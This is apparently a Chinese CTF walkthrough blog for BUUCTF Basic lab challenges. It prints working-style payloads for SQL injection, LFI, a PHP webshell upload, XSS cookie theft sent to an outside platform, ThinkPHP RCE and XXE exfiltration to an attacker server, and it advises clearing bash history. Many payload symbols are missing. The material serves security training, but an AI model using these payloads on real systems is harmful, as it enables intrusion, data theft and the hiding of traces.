1. 从零开始BUUCTF Basic靶场环境搭建第一次接触BUUCTF Basic靶场时我花了整整两小时才把环境跑通。这个在线靶场平台不需要本地部署但有几个关键点需要注意浏览器建议使用Chrome或Firefox的最新版本因为某些题目涉及到前端漏洞利用时旧版本浏览器可能会出现兼容性问题。实测发现Edge浏览器在处理某些XSS题目时会出现意外拦截。靶场地址通常以.node5.buuoj.cn结尾每个题目会分配独立端口。比如某次练习中我遇到的SSH题目端口是32245而非默认的22端口。这里有个小技巧直接在浏览器地址栏输入ping 题目域名是行不通的需要在命令行使用ping命令获取真实IP。Windows用户可能会遇到防火墙拦截记得临时放行ICMP协议。注意遇到连接超时的情况先检查网络是否开启了代理。我遇到过三次因为系统代理设置导致无法连接的情况关闭后立即恢复正常。2. SSH连接漏洞实战剖析2.1 基础连接与信息收集Linux Labs这道SSH题目看似简单却暗藏玄机。题目给出的连接格式通常是ssh -p 端口号 用户名IP地址但实际操作时会发现两个坑点首先密码输入时不会显示字符这是SSH的正常行为其次连接成功后flag文件往往不在当前目录。我建议先执行以下命令find / -name *flag* 2/dev/null这个命令会搜索全盘包含flag关键字的文件2/dev/null是为了过滤权限报错信息。有次我花了20分钟逐层查找后来发现flag藏在/var/www/backup目录下。2.2 权限提升与痕迹清理在某个进阶题目中我遇到获取flag后无法读取的情况。这时需要检查文件权限ls -l /path/to/flag如果显示权限不足可以尝试sudo -l # 查看当前用户能使用的特权命令有次发现可以用sudo执行vim于是通过:!cat /path/to/flag成功读取。完成后记得清除操作记录history -c rm ~/.bash_history3. 文件包含漏洞深度利用3.1 基础LFI与路径遍历BUU LFI COURSE这道题教会我文件包含不单是简单的参数修改。当遇到类似代码时include($_GET[file]..php);传统方法是用../进行路径遍历但要注意系统差异。Linux下可以用?file../../../../etc/passwd而Windows下则要尝试?file..\..\..\windows\win.ini有次我遇到过滤了../的情况改用....//双重编码成功绕过。3.2 PHP伪协议高级利用更高级的玩法是使用PHP伪协议。当直接读取文件被拦截时可以尝试?filephp://filter/convert.base64-encode/resourceindex这样会返回base64编码的源码解码后可能发现数据库密码等敏感信息。我在某次比赛中用这个方法找到了后台登录入口。4. SQL注入攻防全解析4.1 手工注入七步法BUU SQL COURSE这道题堪称经典。我的注入流程是这样的判断注入点id1 and 11正常id1 and 12报错 → 存在数字型注入确定字段数order by 4正常order by 5报错 → 4个字段查数据库名union select 1,database(),3,4爆表名union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schemadatabase()爆字段名union select 1,group_concat(column_name),3,4 from information_schema.columns where table_nameadmin取数据union select 1,username,password,4 from admin登录后台获取flag4.2 sqlmap自动化实战手工注入虽然直观但效率太低。sqlmap的使用其实很有讲究sqlmap -u http://target.com/news.php?id1 --batch --random-agent --level3 --risk3关键参数说明--batch自动选择默认选项--random-agent伪装浏览器UA--level检测级别1-5--risk风险等级1-3有次遇到WAF拦截加上--tamperspace2comment成功绕过。获取数据后记得使用--dump保存结果。5. 文件上传漏洞组合拳5.1 前端绕过与MIME欺骗Upload-Labs-Linux的第一关教会我前端验证形同虚设。虽然页面上限制上传.jpg文件但用Burp拦截后修改两个地方Content-Disposition: form-data; namefile; filenameshell.php Content-Type: image/jpeg保持Content-Type为image类型同时修改filename为php后缀。这种手法在90%的基础题目中都有效。5.2 文件包含组合利用Buu Upload Course 1这道题特别有意思。上传的php文件被重命名为jpg但配合文件包含漏洞依然可以执行。我的解决步骤上传包含以下代码的jpg文件?php system($_GET[cmd]); ?通过包含漏洞执行命令?fileupload/xxx.jpgcmdcat /flag这种组合拳在真实渗透测试中也非常常见。6. XSS漏洞实战技巧6.1 基础注入与绕过BUU XSS COURSE 1这道题演示了存储型XSS的威力。当发现script标签被过滤时可以尝试img srcx onerroralert(1) svg/onloadalert(1)在某个实际案例中我甚至用以下payload绕过严格过滤a hrefjavascript:alert1click/a6.2 Cookie窃取实战使用XSS平台窃取Cookie时要注意选择支持HTTPS的平台如xssaq.com构造payload时要考虑字符限制scriptdocument.locationhttp://xss平台.com/?cookiedocument.cookie/script获取Cookie后要用Burp的Cookie Manager功能替换7. 漏洞组合利用实战案例7.1 ThinkPHP框架漏洞利用AWD Test 1展示了框架漏洞的可怕之处。ThinkPHP 5.x的RCE漏洞利用步骤识别框架版本通过报错信息或robots.txt执行系统命令?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]ls查找flag文件...vars[1][]find / -name flag*读取flag内容...vars[1][]cat /var/www/flag7.2 XXE漏洞文件读取XXE漏洞的利用往往需要多次尝试。在BUU XXE COURSE 1中我最终使用的payload是!DOCTYPE root [ !ENTITY % file SYSTEM file:///flag !ENTITY % dtd SYSTEM http://攻击者服务器/evil.dtd %dtd; ] rootsend;/root配合远程服务器上的evil.dtd文件!ENTITY % all !ENTITY send SYSTEM http://攻击者服务器/?file%file; %all;8. CTF实战经验分享在BUUCTF Basic靶场练习时我总结出三个黄金法则永远先检查源码按F12查看HTML注释和JS代码有次我在注释里直接找到了后台地址参数修改要彻底不仅是URL参数Header、Cookie、POST数据都可能存在漏洞工具配合手工先用自动化工具扫描再手工验证最后综合各种信息突破遇到瓶颈时不妨试试以下命令组合# 查找web目录 find /var/www -type f -name *.php # 检查运行服务 netstat -tulnp # 查看cron任务 crontab -l